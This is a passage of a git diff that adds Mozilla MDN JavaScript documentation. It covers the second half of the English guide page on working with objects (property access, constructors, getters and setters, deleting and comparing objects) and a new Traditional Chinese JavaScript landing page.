+var myObj = new Object(),
+    str = 'myString',
+    rand = Math.random(),
+    obj = new Object();
+
+myObj.type              = 'Dot syntax';
+myObj['date created']   = 'String with space';
+myObj[str]              = 'String value';
+myObj[rand]             = 'Random Number';
+myObj[obj]              = 'Object';
+myObj['']               = 'Even an empty string';
+
+console.log(myObj);
+</pre>
+
+<p>Please note that all keys in the square bracket notation are converted to String type, since objects in JavaScript can only have String type as key type. For example, in the above code, when the key <code>obj </code>is added to the <code>myObj</code>, JavaScript will call the <code>obj.toString()</code> method, and use this result string as the new key.</p>
+
+<p>You can also access properties by using a string value that is stored in a variable:</p>
+
+<pre class="brush: js">var propertyName = 'make';
+myCar[propertyName] = 'Ford';
+
+propertyName = 'model';
+myCar[propertyName] = 'Mustang';
+</pre>
+
+<p>You can use the bracket notation with <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...in">for...in</a></code> to iterate over all the enumerable properties of an object. To illustrate how this works, the following function displays the properties of the object when you pass the object and the object's name as arguments to the function:</p>
+
+<pre class="brush: js">function showProps(obj, objName) {
+  var result = '';
+  for (var i in obj) {
+    // obj.hasOwnProperty() is used to filter out properties from the object's prototype chain
+    if (obj.hasOwnProperty(i)) {
+      result += objName + '.' + i + ' = ' + obj[i] + '\n';
+    }
+  }
+  return result;
+}
+</pre>
+
+<p>So, the function call <code>showProps(myCar, "myCar")</code> would return the following:</p>
+
+<pre class="brush: js">myCar.make = Ford
+myCar.model = Mustang
+myCar.year = 1969</pre>
+
+<h2 id="Enumerate_the_properties_of_an_object">Enumerate the properties of an object</h2>
+
+<p>Starting with <a href="/en-US/docs/Web/JavaScript/New_in_JavaScript/ECMAScript_5_support_in_Mozilla" title="en-US/docs/JavaScript/ECMAScript 5 support in Mozilla">ECMAScript 5</a>, there are three native ways to list/traverse object properties:</p>
+
+<ul>
+ <li><code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...in" title="en-US/docs/JavaScript/Reference/Statements/for...in">for...in</a></code> loops<br>
+  This method traverses all enumerable properties of an object and its prototype chain</li>
+ <li>{{jsxref("Object.keys", "Object.keys(o)")}}<br>
+  This method returns an array with all the own (not in the prototype chain) enumerable properties' names ("keys") of an object <code>o</code>.</li>
+ <li>{{jsxref("Object.getOwnPropertyNames", "Object.getOwnPropertyNames(o)")}}<br>
+  This method returns an array containing all own properties' names (enumerable or not) of an object <code>o</code>.</li>
+</ul>
+
+<p>Before ECMAScript 5, there was no native way to list all properties of an object. However, this can be achieved with the following function:</p>
+
+<pre class="brush: js">function listAllProperties(o) {
+	var objectToInspect;
+	var result = [];
+
+	for(objectToInspect = o; objectToInspect !== null; objectToInspect = Object.getPrototypeOf(objectToInspect)) {
+      result = result.concat(Object.getOwnPropertyNames(objectToInspect));
+	}
+
+	return result;
+}
+</pre>
+
+<p>This can be useful to reveal "hidden" properties (properties in the prototype chain which are not accessible through the object, because another property has the same name earlier in the prototype chain). Listing accessible properties only can easily be done by removing duplicates in the array.</p>
+
+<h2 id="Creating_new_objects">Creating new objects</h2>
+
+<p>JavaScript has a number of predefined objects. In addition, you can create your own objects. You can create an object using an <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Object_initializer">object initializer</a>. Alternatively, you can first create a constructor function and then instantiate an object invoking that function in conjunction with the <code>new</code> operator.</p>
+
+<h3 id="Using_object_initializers"><a id="Object_initializers" name="Object_initializers">Using object initializers</a></h3>
+
+<p>In addition to creating objects using a constructor function, you can create objects using an <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Object_initializer">object initializer</a>. Using object initializers is sometimes referred to as creating objects with literal notation. "Object initializer" is consistent with the terminology used by C++.</p>
+
+<p>The syntax for an object using an object initializer is:</p>
+
+<pre class="brush: js">var obj = { property_1:   value_1,   // property_# may be an identifier...
+            2:            value_2,   // or a number...
+            // ...,
+            'property n': value_n }; // or a string
+</pre>
+
+<p>where <code>obj</code> is the name of the new object, each <code>property_<em>i</em></code> is an identifier (either a name, a number, or a string literal), and each <code>value_<em>i</em></code> is an expression whose value is assigned to the <code>property_<em>i</em></code>. The <code>obj</code> and assignment is optional; if you do not need to refer to this object elsewhere, you do not need to assign it to a variable. (Note that you may need to wrap the object literal in parentheses if the object appears where a statement is expected, so as not to have the literal be confused with a block statement.)</p>
+
+<p>Object initializers are expressions, and each object initializer results in a new object being created whenever the statement in which it appears is executed. Identical object initializers create distinct objects that will not compare to each other as equal. Objects are created as if a call to <code>new Object()</code> were made; that is, objects made from object literal expressions are instances of <code>Object</code>.</p>
+
+<p>The following statement creates an object and assigns it to the variable <code>x</code> if and only if the expression <code>cond</code> is true:</p>
+
+<pre class="brush: js">if (cond) var x = {greeting: 'hi there'};
+</pre>
+
+<p>The following example creates <code>myHonda</code> with three properties. Note that the <code>engine</code> property is also an object with its own properties.</p>
+
+<pre class="brush: js">var myHonda = {color: 'red', wheels: 4, engine: {cylinders: 4, size: 2.2}};
+</pre>
+
+<p>You can also use object initializers to create arrays. See <a href="/en-US/docs/Web/JavaScript/Guide/Grammar_and_types#Array_literals">array literals</a>.</p>
+
+<h3 id="Using_a_constructor_function">Using a constructor function</h3>
+
+<p>Alternatively, you can create an object with these two steps:</p>
+
+<ol>
+ <li>Define the object type by writing a constructor function. There is a strong convention, with good reason, to use a capital initial letter.</li>
+ <li>Create an instance of the object with <code>new</code>.</li>
+</ol>
+
+<p>To define an object type, create a function for the object type that specifies its name, properties, and methods. For example, suppose you want to create an object type for cars. You want this type of object to be called <code>car</code>, and you want it to have properties for make, model, and year. To do this, you would write the following function:</p>
+
+<pre class="brush: js">function Car(make, model, year) {
+  this.make = make;
+  this.model = model;
+  this.year = year;
+}
+</pre>
+
+<p>Notice the use of <code>this</code> to assign values to the object's properties based on the values passed to the function.</p>
+
+<p>Now you can create an object called <code>mycar</code> as follows:</p>
+
+<pre class="brush: js">var mycar = new Car('Eagle', 'Talon TSi', 1993);
+</pre>
+
+<p>This statement creates <code>mycar</code> and assigns it the specified values for its properties. Then the value of <code>mycar.make</code> is the string "Eagle", <code>mycar.year</code> is the integer 1993, and so on.</p>
+
+<p>You can create any number of <code>car</code> objects by calls to <code>new</code>. For example,</p>
+
+<pre class="brush: js">var kenscar = new Car('Nissan', '300ZX', 1992);
+var vpgscar = new Car('Mazda', 'Miata', 1990);
+</pre>
+
+<p>An object can have a property that is itself another object. For example, suppose you define an object called <code>person</code> as follows:</p>
+
+<pre class="brush: js">function Person(name, age, sex) {
+  this.name = name;
+  this.age = age;
+  this.sex = sex;
+}
+</pre>
+
+<p>and then instantiate two new <code>person</code> objects as follows:</p>
+
+<pre class="brush: js">var rand = new Person('Rand McKinnon', 33, 'M');
+var ken = new Person('Ken Jones', 39, 'M');
+</pre>
+
+<p>Then, you can rewrite the definition of <code>car</code> to include an <code>owner</code> property that takes a <code>person</code> object, as follows:</p>
+
+<pre class="brush: js">function Car(make, model, year, owner) {
+  this.make = make;
+  this.model = model;
+  this.year = year;
+  this.owner = owner;
+}
+</pre>
+
+<p>To instantiate the new objects, you then use the following:</p>
+
+<pre class="brush: js">var car1 = new Car('Eagle', 'Talon TSi', 1993, rand);
+var car2 = new Car('Nissan', '300ZX', 1992, ken);
+</pre>
+
+<p>Notice that instead of passing a literal string or integer value when creating the new objects, the above statements pass the objects <code>rand</code> and <code>ken</code> as the arguments for the owners. Then if you want to find out the name of the owner of car2, you can access the following property:</p>
+
+<pre class="brush: js">car2.owner.name
+</pre>
+
+<p>Note that you can always add a property to a previously defined object. For example, the statement</p>
+
+<pre class="brush: js">car1.color = 'black';
+</pre>
+
+<p>adds a property <code>color</code> to car1, and assigns it a value of "black." However, this does not affect any other objects. To add the new property to all objects of the same type, you have to add the property to the definition of the <code>car</code> object type.</p>
+
+<h3 id="Using_the_Object.create_method">Using the <code>Object.create</code> method</h3>
+
+<p>Objects can also be created using the {{jsxref("Object.create()")}} method. This method can be very useful, because it allows you to choose the prototype object for the object you want to create, without having to define a constructor function.</p>
+
+<pre class="brush: js">// Animal properties and method encapsulation
+var Animal = {
+  type: 'Invertebrates', // Default value of properties
+  displayType: function() {  // Method which will display type of Animal
+    console.log(this.type);
+  }
+};
+
+// Create new animal type called animal1
+var animal1 = Object.create(Animal);
+animal1.displayType(); // Output:Invertebrates
+
+// Create new animal type called Fishes
+var fish = Object.create(Animal);
+fish.type = 'Fishes';
+fish.displayType(); // Output:Fishes</pre>
+
+<h2 id="Inheritance">Inheritance</h2>
+
+<p>All objects in JavaScript inherit from at least one other object. The object being inherited from is known as the prototype, and the inherited properties can be found in the <code>prototype</code> object of the constructor. See <a href="/en-US/docs/Web/JavaScript/Inheritance_and_the_prototype_chain">Inheritance and the prototype chain</a> for more information.</p>
+
+<h2 id="Indexing_object_properties">Indexing object properties</h2>
+
+<p>You can refer to a property of an object either by its property name or by its ordinal index. If you initially define a property by its name, you must always refer to it by its name, and if you initially define a property by an index, you must always refer to it by its index.</p>
+
+<p>This restriction applies when you create an object and its properties with a constructor function (as we did previously with the <code>Car</code> object type) and when you define individual properties explicitly (for example, <code>myCar.color = "red"</code>). If you initially define an object property with an index, such as <code>myCar[5] = "25 mpg"</code>, you subsequently refer to the property only as <code>myCar[5]</code>.</p>
+
+<p>The exception to this rule is objects reflected from HTML, such as the <code>forms</code> array. You can always refer to objects in these arrays by either their ordinal number (based on where they appear in the document) or their name (if defined). For example, if the second <code>&lt;FORM&gt;</code> tag in a document has a <code>NAME</code> attribute of "myForm", you can refer to the form as <code>document.forms[1]</code> or <code>document.forms["myForm"]</code> or <code>document.forms.myForm</code>.</p>
+
+<h2 id="Defining_properties_for_an_object_type">Defining properties for an object type</h2>
+
+<p>You can add a property to a previously defined object type by using the <code>prototype</code> property. This defines a property that is shared by all objects of the specified type, rather than by just one instance of the object. The following code adds a <code>color</code> property to all objects of type <code>car</code>, and then assigns a value to the <code>color</code> property of the object <code>car1</code>.</p>
+
+<pre class="brush: js">Car.prototype.color = null;
+car1.color = 'black';
+</pre>
+
+<p>See the <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/prototype" title="en-US/docs/JavaScript/Reference/Global Objects/Function/prototype"><code>prototype</code> property</a> of the <code>Function</code> object in the <a href="/en-US/docs/Web/JavaScript/Reference">JavaScript reference</a> for more information.</p>
+
+<h2 id="Defining_methods">Defining methods</h2>
+
+<p>A <em>method</em> is a function associated with an object, or, simply put, a method is a property of an object that is a function. Methods are defined the way normal functions are defined, except that they have to be assigned as the property of an object. See also <a href="/en-US/docs/Web/JavaScript/Reference/Functions/Method_definitions">method definitions</a> for more details. An example is:</p>
+
+<pre class="brush: js">objectName.methodname = function_name;
+
+var myObj = {
+  myMethod: function(params) {
+    // ...do something
+  }
+
+  // OR THIS WORKS TOO
+
+  myOtherMethod(params) {
+    // ...do something else
+  }
+};
+</pre>
+
+<p>where <code>objectName</code> is an existing object, <code>methodname</code> is the name you are assigning to the method, and <code>function_name</code> is the name of the function.</p>
+
+<p>You can then call the method in the context of the object as follows:</p>
+
+<pre class="brush: js">object.methodname(params);
+</pre>
+
+<p>You can define methods for an object type by including a method definition in the object constructor function. You could define a function that would format and display the properties of the previously-defined <code>car</code> objects; for example,</p>
+
+<pre class="brush: js">function displayCar() {
+  var result = 'A Beautiful ' + this.year + ' ' + this.make
+    + ' ' + this.model;
+  pretty_print(result);
+}
+</pre>
+
+<p>where <code>pretty_print</code> is a function to display a horizontal rule and a string. Notice the use of <code>this</code> to refer to the object to which the method belongs.</p>
+
+<p>You can make this function a method of <code>car</code> by adding the statement</p>
+
+<pre class="brush: js">this.displayCar = displayCar;
+</pre>
+
+<p>to the object definition. So, the full definition of <code>car</code> would now look like</p>
+
+<pre class="brush: js">function Car(make, model, year, owner) {
+  this.make = make;
+  this.model = model;
+  this.year = year;
+  this.owner = owner;
+  this.displayCar = displayCar;
+}
+</pre>
+
+<p>Then you can call the <code>displayCar</code> method for each of the objects as follows:</p>
+
+<pre class="brush: js">car1.displayCar();
+car2.displayCar();
+</pre>
+
+<h2 id="Using_this_for_object_references">Using <code>this</code> for object references</h2>
+
+<p>JavaScript has a special keyword, <code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/this">this</a></code>, that you can use within a method to refer to the current object. For example, suppose you have a function called <code>validate</code> that validates an object's <code>value</code> property, given the object and the high and low values:</p>
+
+<pre class="brush: js">function validate(obj, lowval, hival) {
+  if ((obj.value &lt; lowval) || (obj.value &gt; hival)) {
+    alert('Invalid Value!');
+  }
+}
+</pre>
+
+<p>Then, you could call <code>validate</code> in each form element's <code>onchange</code> event handler, using <code>this</code> to pass it the element, as in the following example:</p>
+
+<pre class="brush: html">&lt;input type="text" name="age" size="3"
+  onChange="validate(this, 18, 99)"&gt;
+</pre>
+
+<p>In general, <code>this</code> refers to the calling object in a method.</p>
+
+<p>When combined with the <code>form</code> property, <code>this</code> can refer to the current object's parent form. In the following example, the form <code>myForm</code> contains a <code>Text</code> object and a button. When the user clicks the button, the value of the <code>Text</code> object is set to the form's name. The button's <code>onclick</code> event handler uses <code>this.form</code> to refer to the parent form, <code>myForm</code>.</p>
+
+<pre class="brush: html">&lt;form name="myForm"&gt;
+&lt;p&gt;&lt;label&gt;Form name:&lt;input type="text" name="text1" value="Beluga"&gt;&lt;/label&gt;
+&lt;p&gt;&lt;input name="button1" type="button" value="Show Form Name"
+     onclick="this.form.text1.value = this.form.name"&gt;
+&lt;/p&gt;
+&lt;/form&gt;</pre>
+
+<h2 id="Defining_getters_and_setters">Defining getters and setters</h2>
+
+<p>A <a href="/en-US/docs/Web/JavaScript/Reference/Functions/get">getter</a> is a method that gets the value of a specific property. A <a href="/en-US/docs/Web/JavaScript/Reference/Functions/set">setter</a> is a method that sets the value of a specific property. You can define getters and setters on any predefined core object or user-defined object that supports the addition of new properties. The syntax for defining getters and setters uses the object literal syntax.</p>
+
+<p>The following illustrates how getters and setters could work for a user-defined object <code>o</code>.</p>
+
+<pre class="brush: js">var o = {
+  a: 7,
+  get b() {
+    return this.a + 1;
+  },
+  set c(x) {
+    this.a = x / 2;
+  }
+};
+
+console.log(o.a); // 7
+console.log(o.b); // 8
+o.c = 50;
+console.log(o.a); // 25
+</pre>
+
+<p>The <code>o</code> object's properties are:</p>
+
+<ul>
+ <li><code>o.a</code> — a number</li>
+ <li><code>o.b</code> — a getter that returns <code>o.a</code> plus 1</li>
+ <li><code>o.c</code> — a setter that sets the value of <code>o.a</code> to half of the value <code>o.c</code> is being set to</li>
+</ul>
+
+<p>Please note that function names of getters and setters defined in an object literal using "[gs]et <em>property</em>()" (as opposed to <code>__define[GS]etter__</code> ) are not the names of the getters themselves, even though the <code>[gs]et <em>propertyName</em>(){ }</code> syntax may mislead you to think otherwise. To name a function in a getter or setter using the "[gs]et <em>property</em>()" syntax, define an explicitly named function programmatically using <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Object/defineProperty" title="en-US/docs/Core JavaScript 1.5 Reference/Global
+Objects/Object/defineProperty">Object.defineProperty</a></code> (or the <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Object/defineGetter" title="en-US/docs/Core JavaScript 1.5 Reference/Global
+Objects/Object/defineGetter">Object.prototype.__defineGetter__</a></code> legacy fallback).</p>
+
+<p>The following code illustrates how getters and setters can extend the {{jsxref("Date")}} prototype to add a <code>year</code> property to all instances of the predefined <code>Date</code> class. It uses the <code>Date</code> class's existing <code>getFullYear</code> and <code>setFullYear</code> methods to support the <code>year</code> property's getter and setter.</p>
+
+<p>These statements define a getter and setter for the year property:</p>
+
+<pre class="brush: js">var d = Date.prototype;
+Object.defineProperty(d, 'year', {
+  get: function() { return this.getFullYear(); },
+  set: function(y) { this.setFullYear(y); }
+});
+</pre>
+
+<p>These statements use the getter and setter in a <code>Date</code> object:</p>
+
+<pre class="brush: js">var now = new Date();
+console.log(now.year); // 2000
+now.year = 2001; // 987617605170
+console.log(now);
+// Wed Apr 18 11:13:25 GMT-0700 (Pacific Daylight Time) 2001
+</pre>
+
+<p>In principle, getters and setters can be either</p>
+
+<ul>
+ <li>defined using <a href="#Object_initializers">object initializers</a>, or</li>
+ <li>added later to any object at any time using a getter or setter adding method.</li>
+</ul>
+
+<p>When defining getters and setters using <a href="#Object_initializers">object initializers</a> all you need to do is to prefix a getter method with <code>get</code> and a setter method with <code>set</code>. Of course, the getter method must not expect a parameter, while the setter method expects exactly one parameter (the new value to set). For instance:</p>
+
+<pre class="brush: js">var o = {
+  a: 7,
+  get b() { return this.a + 1; },
+  set c(x) { this.a = x / 2; }
+};
+</pre>
+
+<p>Getters and setters can also be added to an object at any time after creation using the <code>Object.defineProperties</code> method. This method's first parameter is the object on which you want to define the getter or setter. The second parameter is an object whose property names are the getter or setter names, and whose property values are objects for defining the getter or setter functions. Here's an example that defines the same getter and setter used in the previous example:</p>
+
+<pre class="brush: js">var o = { a: 0 };
+
+Object.defineProperties(o, {
+    'b': { get: function() { return this.a + 1; } },
+    'c': { set: function(x) { this.a = x / 2; } }
+});
+
+o.c = 10; // Runs the setter, which assigns 10 / 2 (5) to the 'a' property
+console.log(o.b); // Runs the getter, which yields a + 1 or 6
+</pre>
+
+<p>Which of the two forms to choose depends on your programming style and task at hand. If you already go for the object initializer when defining a prototype you will probably most of the time choose the first form. This form is more compact and natural. However, if you need to add getters and setters later — because you did not write the prototype or particular object — then the second form is the only possible form. The second form probably best represents the dynamic nature of JavaScript — but it can make the code hard to read and understand.</p>
+
+<h2 id="Deleting_properties">Deleting properties</h2>
+
+<p>You can remove a non-inherited property by using the <code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/delete">delete</a></code> operator. The following code shows how to remove a property.</p>
+
+<pre class="brush: js">// Creates a new object, myobj, with two properties, a and b.
+var myobj = new Object;
+myobj.a = 5;
+myobj.b = 12;
+
+// Removes the a property, leaving myobj with only the b property.
+delete myobj.a;
+console.log ('a' in myobj); // yields "false"
+</pre>
+
+<p>You can also use <code>delete</code> to delete a global variable if the <code>var</code> keyword was not used to declare the variable:</p>
+
+<pre class="brush: js">g = 17;
+delete g;
+</pre>
+
+<h2 id="Comparing_Objects">Comparing Objects</h2>
+
+<p>In JavaScript objects are a reference type. Two distinct objects are never equal, even if they have the same properties. Only comparing the same object reference with itself yields true.</p>
+
+<pre class="brush: js">// Two variables, two distinct objects with the same properties
+var fruit = {name: 'apple'};
+var fruitbear = {name: 'apple'};
+
+fruit == fruitbear; // return false
+fruit === fruitbear; // return false</pre>
+
+<pre class="brush: js">// Two variables, a single object
+var fruit = {name: 'apple'};
+var fruitbear = fruit;  // assign fruit object reference to fruitbear
+
+// here fruit and fruitbear are pointing to same object
+fruit == fruitbear; // return true
+fruit === fruitbear; // return true
+</pre>
+
+<pre class="brush: js">fruit.name = 'grape';
+console.log(fruitbear);    // yields { name: "grape" } instead of { name: "apple" }
+</pre>
+
+<p>For more information about comparison operators, see <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Comparison_Operators">Comparison operators</a>.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>To dive deeper, read about the <a href="/en-US/docs/Web/JavaScript/Guide/Details_of_the_Object_Model">details of javaScript's objects model</a>.</li>
+ <li>To learn about ECMAScript 2015 classes (a new way to create objects), read the <a href="/en-US/docs/Web/JavaScript/Reference/Classes">JavaScript classes</a> chapter.</li>
+</ul>
+
+<p>{{PreviousNext("Web/JavaScript/Guide/Regular_Expressions", "Web/JavaScript/Guide/Details_of_the_Object_Model")}}</p>
diff --git a/files/zh-tw/web/javascript/index.html b/files/zh-tw/web/javascript/index.html
new file mode 100644
index 0000000000..4eca0ea390
--- /dev/null
+++ b/files/zh-tw/web/javascript/index.html
@@ -0,0 +1,133 @@
+---
+title: JavaScript
+slug: Web/JavaScript
+tags:
+  - JavaScript
+  - 入口
+  - 學習
+  - 所有類別
+translation_of: Web/JavaScript
+---
+<p>{{JsSidebar}}</p>
+
+<div class="summary">
+<p><strong>JavaScript</strong> (簡稱 <strong>JS</strong>) 是具有一級函數 ({{Glossary("First-class Function", "First-class functions")}}) 的輕量級、直譯式或即時編譯（JIT-compiled）的程式語言。它因為用作網頁的腳本語言而大為知名，但也用於<a class="external" href="http://en.wikipedia.org/wiki/JavaScript#Uses_outside_web_pages">許多非瀏覽器的環境</a>，像是 <a class="external" href="http://nodejs.org/">node.js</a>、<a href="http://couchdb.apache.org">Apache CouchDB</a>。JavaScript 是一個基於原型的 ({{Glossary("Prototype-based programming", "Prototype-based")}})、多範型的、動態語言，支援物件導向、指令式以及宣告式 (如函數式程式設計) 風格。 閱讀<a href="/zh-TW/docs/Web/JavaScript/About_JavaScript" title="關於 JavaScript">關於 JavaScript</a> 以取得更多資訊。</p>
+</div>
+
+<div>
+<p>本章節主要說明 JavaScript，不涉及網頁特有項目或主機環境。有關網頁特有的 {{Glossary("API","APIs")}} ，請參考 <a href="https://developer.mozilla.org/zh-TW/docs/Web/API">Web API</a> 和 <a href="https://developer.mozilla.org/zh-TW/docs/Glossary/DOM">DOM</a>。</p>
+
+<p>JavaScript 所採用的標準是 <a href="/docs/JavaScript/Language_Resources">ECMAScript</a>，自 2012 年起，所有<a href="http://kangax.github.io/compat-table/es5/">現代的瀏覽器</a>均已全面支援 ECMAScript 5.1。較老舊的瀏覽器最少也會支援 ECMAScript 3。<a href="http://www.ecma-international.org/">ECMA International</a> 於 2015 年 6 月 17 日發布第六版的 ECMAScript，其正式名稱是 ECMAScript 2015，原先被稱作 ECMAScript 6 或 ES6。從那時起， ECMAScript 標準的發布週期是一年，本文件參考了最新的草稿版本，也就是目前的 <a href="http://tc39.github.io/ecma262/">ECMAScript 2017</a>。</p>
+
+<p>別搞混了 JavaScript 和 <a href="https://en.wikipedia.org/wiki/Java_(programming_language)">Java 程式語言</a>。雖然 "Java" 和 "JavaScript" 都是 Oracle 公司在美國和其他國家的商標或註冊商標，但兩個語言有著非常不同的語法、語意和用途。</p>
+</div>
+
+<div class="column-container">
+<div class="column-half">
+<h2 id="教學">教學</h2>
+
+<p>透過指南和教學來學習編寫 JavaScript。</p>
+
+<h3 id="給完全新手">給完全新手</h3>
+
+<p>如果你想學習 JavaScript 但過去沒有 JavaScript 或程式設計經驗，請前往 <a href="https://developer.mozilla.org/zh-TW/docs/Learn/JavaScript">JavaScrip-動態的用戶端指令</a>。該處完整單元如下：</p>
+
+<dl>
+ <dt><a href="https://developer.mozilla.org/zh-TW/docs/Learn/JavaScript/First_steps">JavaScript 入門</a></dt>
+ <dd>說明一些基本問題像是「什麼是 JavaScript？」、「它看來像什麼？」、「它能做什麼？」，也討論 JavaScript 的主要特色，例如變數、字串、數值以及陣列。</dd>
+ <dt><a href="https://developer.mozilla.org/zh-TW/docs/Learn/JavaScript/Building_blocks">JavaScript 組成元素</a></dt>
+ <dd>繼續我們對 JavaScript 主要基本特色的說明，焦點轉向經常碰到的程式碼區塊類型，像是條件式陳述、迴圈、函數以及事件。</dd>
+ <dt><a href="https://developer.mozilla.org/zh-TW/docs/Learn/JavaScript/Objects">介紹 JavaScript 物件</a></dt>
+ <dd>如果你想加深對 JavaScript 語言的認識並撰寫更有效率的程式，理解 JavaScript 的物件導向特質是件重要的事。</dd>
+</dl>
+
+<h3 id="JavaScript_指南">JavaScript 指南</h3>
+
+<dl>
+ <dt></dt>
+ <dt><a href="https://developer.mozilla.org/zh-TW/docs/Web/JavaScript/Guide">JavaScript 指南</a></dt>
+ <dd>更為詳細的 JavaScript 語言指南，供過去有 JavaScript 或其他語言的程式設計經驗的人看。</dd>
+</dl>
+
+<dl>
+</dl>
+
+<h3 id="中階">中階</h3>
+
+<dl>
+ <dt><a href="/zh-TW/docs/Learn/JavaScript/Client-side_web_APIs">客戶端 web APIs</a></dt>
+ <dd>在為網站或應用程序編寫客戶端JavaScript時，您將很快遇到應用程式介面（API）。 API是應用程式介面，用於操作運行站點的瀏覽器和操作系統的不同方面，或操縱來自其他網站或服務的資料。 在本單元中，我們將探討API是什麼，以及如何使用您在開發工作中經常遇到的一些最常見的API。 </dd>
+</dl>
+
+<dl>
+ <dt><a href="https://developer.mozilla.org/zh-TW/docs/Web/JavaScript/A_re-introduction_to_JavaScript">重新介紹 JavaScript</a></dt>
+ <dd>為了那些<em>以為</em>他們懂 JavaScript 的人寫的簡介。</dd>
+</dl>
+
+<dl>
+ <dt><a href="https://developer.mozilla.org/zh-TW/docs/Web/JavaScript/Data_structures">JavaScript 資料結構</a></dt>
+ <dd>簡介在 JavaScript 可用的資料結構。</dd>
+ <dt><a href="/zh-TW/docs/Web/JavaScript/Equality_comparisons_and_sameness">相等值比較和相等度</a></dt>
+ <dd>JavaScript 提供了三種不同的數值比較方式：嚴謹的相等用 <code>===</code>，寬鬆的相等用 <code>==，</code>以及 {{jsxref("Global_Objects/Object/is", "Object.is()")}} 方法。</dd>
+ <dt><a href="/zh-TW/docs/Web/JavaScript/Closures">閉包（Closure)</a></dt>
+ <dd>
+ <p>閉包（Closure）是函式以及該宣告函式所包含的作用域環境（lexical environment）的組合。</p>
+ </dd>
+</dl>
+
+<h3 id="進階">進階</h3>
+
+<dl>
+ <dt><a href="/zh-TW/docs/Web/JavaScript/Inheritance_and_the_prototype_chain">繼承與原型鍊</a></dt>
+ <dd>對於原型繼承的常見的迷思和誤解。</dd>
+ <dt><a href="/zh-TW/docs/Web/JavaScript/Reference/Strict_mode">嚴謹模式</a></dt>
+ <dd>嚴謹模式會禁止您使用未初始化過的變數。這樣的限制源自於 ECMAScript 5 的規範，為了提高效率和簡化偵錯。</dd>
+ <dt><a href="https://developer.mozilla.org/zh-TW/docs/Web/JavaScript/Typed_arrays">JavaScript 型別陣列</a></dt>
+ <dd>JavaScript 類型陣列提供一個存取二進制資料的機制。</dd>
+ <dt><a href="https://developer.mozilla.org/zh-TW/docs/Web/JavaScript/Memory_Management">記憶體管理</a></dt>
+ <dd>JavaScript 的記憶體生命週期和垃圾回收機制。</dd>
+ <dt><a href="/zh-TW/docs/Web/JavaScript/EventLoop">併行模組和事件循環</a></dt>
+ <dd>JavaScript 具有基於「事件循環」的併行模組。</dd>
+</dl>
+</div>
+
+<div class="column-half">
+<h2 id="參考">參考</h2>
+
+<p>瀏覽完整的 <a href="/zh-TW/docs/Web/JavaScript/Reference">JavaScript 參考文件</a>。</p>
+
+<dl>
+ <dt><a href="/zh-TW/docs/Web/JavaScript/Reference/Global_Objects">標準內建物件</a></dt>
+ <dd>瞭解標準內建物件： {{jsxref("Array")}}、 {{jsxref("Boolean")}}、 {{jsxref("Date")}}、 {{jsxref("Error")}}、 {{jsxref("Function")}}、 {{jsxref("JSON")}}、 {{jsxref("Math")}}、 {{jsxref("Number")}}、 {{jsxref("Object")}}、 {{jsxref("RegExp")}}、 {{jsxref("String")}}、 {{jsxref("Map")}}、 {{jsxref("Set")}}、 {{jsxref("WeakMap")}}、 {{jsxref("WeakSet")}} 等等。</dd>
+ <dt><a href="/zh-TW/docs/Web/JavaScript/Reference/Operators">表式法與運算子</a></dt>
+ <dd>瞭解更多 JavaScript 運算子的行為：{{jsxref("Operators/instanceof", "instanceof")}}、 {{jsxref("Operators/typeof", "typeof")}}、 {{jsxref("Operators/new", "new")}}、 {{jsxref("Operators/this", "this")}}、<a href="/zh-TW/docs/Web/JavaScript/Reference/Operators/Operator_Precedence">運算子優先序</a>等等。</dd>
+ <dt><a href="/zh-TW/docs/Web/JavaScript/Reference/Statements">敘述和宣告</a></dt>
+ <dd>瞭解 {{jsxref("Statements/do...while", "do-while")}}、{{jsxref("Statements/for...in", "for-in")}}、 {{jsxref("Statements/for...of", "for-of")}}、 {{jsxref("Statements/try...catch", "try-catch")}}、{{jsxref("Statements/let", "let")}}、 {{jsxref("Statements/var", "var")}}、 {{jsxref("Statements/const", "const")}}、 {{jsxref("Statements/if...else", "if-else")}}、 {{jsxref("Statements/switch", "switch")}} 和其他 JavaScript 敘述和關鍵字的運作方式。</dd>
+ <dt><a href="/zh-TW/docs/Web/JavaScript/Reference/Functions">函數</a></dt>
+ <dd>瞭解如何運用函數來開發你的應用程式。</dd>
+</dl>
+
+<h2 id="工具與資源">工具與資源</h2>
+
+<p>有用的工具和資源幫助你更好的撰寫及除錯 <strong>JavaScript </strong> 程式碼。</p>
+
+<dl>
+ <dt><a href="/zh-TW/docs/Tools">Firefox 開發工具</a></dt>
+ <dd><a href="/zh-TW/docs/Tools/Scratchpad">程式碼速記本 (Scratchpad)</a>、<a href="/zh-TW/docs/Tools/Web_Console">網頁主控台 (Web Console)</a>、<a href="/zh-TW/docs/Tools/Profiler">JavaScript 效能分析器(JavaScript Profiler)</a>、<a href="/zh-TW/docs/Tools/Debugger">除錯器 (Debugger)</a> 等等。</dd>
+ <dt><a href="/zh-TW/docs/Web/JavaScript/Shells">JavaScript Shell</a></dt>
+ <dd>JavaScript Shell 讓你更快的測試片段的 JavaScript。</dd>
+ <dt><a href="https://togetherjs.com/">TogetherJS</a><a id="cke_60" title="Paste">Paste</a></dt>
+ <dd>合作更簡單了。藉著在你的網站增加 TogetherJS，你的用戶們能在網站上互助 in real time！</dd>
+ <dt><a href="http://stackoverflow.com/questions/tagged/javascript">Stack Overflow</a></dt>
+ <dd>Stack Overflow 上有關 JavaScript 的問題。</dd>
+ <dt><a href="/zh-TW/docs/Web/JavaScript/New_in_JavaScript">JavaScript 版本和發行說明</a></dt>
+ <dd>瀏覽 JavaScript 的功能歷史和兼容狀態。</dd>
+ <dt><a href="https://jsfiddle.net/">JSFiddle</a></dt>
+ <dd>編輯 JavaScript、CSS、HTML 並取得及時結果。可以使用外部資源和與在線上與你的夥伴協作。</dd>
+</dl>
+</div>
+</div>
+
+<div id="gtx-trans" style="position: absolute; left: 162px; top: 722px;">
+<div class="gtx-trans-icon"></div>
+</div>
